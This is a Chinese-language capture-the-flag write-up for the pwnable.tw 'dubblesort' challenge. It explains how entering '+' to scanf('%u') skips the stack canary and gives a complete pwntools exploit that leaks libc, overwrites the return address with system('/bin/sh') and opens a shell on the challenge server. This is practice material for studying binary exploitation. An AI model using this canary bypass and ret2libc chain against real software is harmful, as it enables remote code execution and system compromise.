0%

pwnable.tw writeup-dubblsort

学习与收获

对于scanf("%u",v4)%u表示无符号整数

  • 当我们输入整数时,scanf认为其是合法字符,并将其写到v4中;

  • 当我们输入字母时,scanf认为其是非法字符,并将其一直留在缓冲区,导致我们后面不能再继续输入数据;

  • 当我们输入+或者-时,scanf会认为他是合法字符,同时又不会将其写到v4中。(因为+-也可以用来定义数字的正负,所以scanf会认为其是合法的)

有些时候我们可以利用scanf的这个漏洞,达到绕过canary的目的。

代码审计

保护:

1

第一次readbuf写入0x40个字节,接着输入一个整数到v8,然后输入数据到栈中,这个过程循环v8

2

思路

​ 在循环的过程中,每循环一次,往栈上输入数据的位置就+1,也就是说我们可以覆盖返回地址,但是同时也会覆盖canary。而我们又没办法泄漏canary,那能不能绕过修改canary的这一次循环呢?

对于scanf("%u",v4)

  • 当我们输入整数时,scanf认为其是合法字符,并将其写到v4中;
  • 当我们输入字母时,scanf认为其是非法字符,并将其一直留在缓冲区,导致我们后面不能再继续输入数据;
  • 当我们输入+或者-时,scanf会认为他是合法字符,同时又不会将其写到v4中。(因为+-也可以用来定义数字的正负,所以scanf会认为其是合法的)

​ 也就是说,假如i=11时,我们该写入到canary这个位置,此时如果输入+,便能成功绕过canary。然后i也成功+1,接下来我们直接覆盖返回导致即可。

整体思路如下,

  1. 计算偏移量,泄漏一个libc地址,算出libc基地址
  2. 绕过canary,覆盖返回地址

exp

from tools import *
# p = process('./dubblesort')
# context.log_level = 'debug'
p = remote('chall.pwnable.tw',10101)
debug(p)
libc = ELF("./libc_32.so.6")

p.sendlineafter('What your name :',b'a'*28)
p.recvuntil(b'a'*28)
leak = u32(p.recv(4))
log_addr("leak")
libc_base = leak-0x1b000a #本地的offset是0x1840a
log_addr("libc_base")
system = libc_base+libc.sym['system']
log_addr("system")
binsh = libc_base+next(libc.search(b'/bin/sh'))

p.sendlineafter("sort :",str(35))
for i in range(24):
p.sendlineafter("number : ",b'1')
p.sendline(b'+')
for i in range(9):
p.sendlineafter("number : ",str(system))
p.sendline(str(binsh))

p.interactive()

拿到flag

3